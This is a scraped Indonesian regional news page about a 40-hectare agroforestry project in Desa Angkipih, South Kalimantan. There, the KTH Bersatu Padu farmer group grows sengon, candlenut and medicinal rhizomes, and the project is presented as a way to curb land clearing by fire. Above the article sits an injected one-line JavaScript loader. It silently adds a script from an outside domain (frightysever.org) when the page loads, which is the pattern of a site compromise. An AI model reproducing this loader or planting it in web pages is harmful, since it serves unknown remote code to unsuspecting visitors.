(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Desa Angkipih Kecamatan Paramasan salah satu wilayah kerja KPH Kayu Tangi yang masuk dalam Resor Pengelolaan Hutan (RPH) Sungai Pinang. Di desa ini telah banyak melaksanakan program Kehutanan. Salah satu program yang sudah bisa dikatakan berjalan dengan baik adalah agroforestri seluas 40 hektare di KTH Bersatu Padu. Saat dilakukan monitoring tanaman pada Rabu (15/5) tadi, hasilnya cukup memuaskan.
Kegiatan agroforestri dilaksanakan mulai tahun 2017 oleh KPH Kayu Tangi, menggunakan biaya dari Balai Pemanfaatan Hutan Produksi (BPHP) Wilayah IX Banjarbaru. Melalui KTH Bersatu Padu sebagai kelompok tani binaan, melaksanakan kegiatan ini seluas 40 Ha, dengan menanam tanaman Sengon dan Kemiri, serta empon – empon.
Dwi, Ketua KTH Bersatu Padu mengatakan, dengan adanya kegiatan ini pihaknya sangat terbantu. Baik dari segi pendanaan maupun dalam peningkatan ekonomi Kelompok. Diharapkan pohon sengon, kemiri dan empon-empon, bisa menjadi modal untuk mengembangkan sektor kehutanan di desa.
“Saat ini tumbuh kembang tanaman sengon ada yang mencapai hampir 4 meter dengan diameter bervariasi. Pertumbuhan kemiri juga terlihat baik, bahkan empon – empon juga sudah pernah ada yang dipanen,†ungkap Dwi.
Agroforestri merupakan salah satu proses pengelolaan hutan di areal kerja KPH Kayu Tangi telah berjalan menuju kepada pengelolaan hutan lestari. Baik itu lestari produksi, maupun lestari fungsi hutannya, yang akhirnya dapat meningkatkan kesejahteraan masyarakat baik di dalam kawasan maupun sekitar hutan.
Kegiatan agroforestri ini juga sebagai salah satu langkah dalam mengurangi jumlah pembukaan lahan dengan cara dibakar. Sekadar diketahui, setiap tahunnya kadang masih ada yang membuka lahan dengan cara dibakar. Namun dengan adanya tanaman ini masyarakat dan KTH akan menjaga agar di sekitar tanaman agroforestri tidak terjadi kebakaran lahan.
Syamsul Rizal, penyuluh dan pendamping KTH Bersatu Padu meyakini, dengan pola agroforestri ini, akan menjadikan masyarakat menjaga kelestarian hutan di wilayah mereka. (ade/kphkyt)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
This website uses cookies.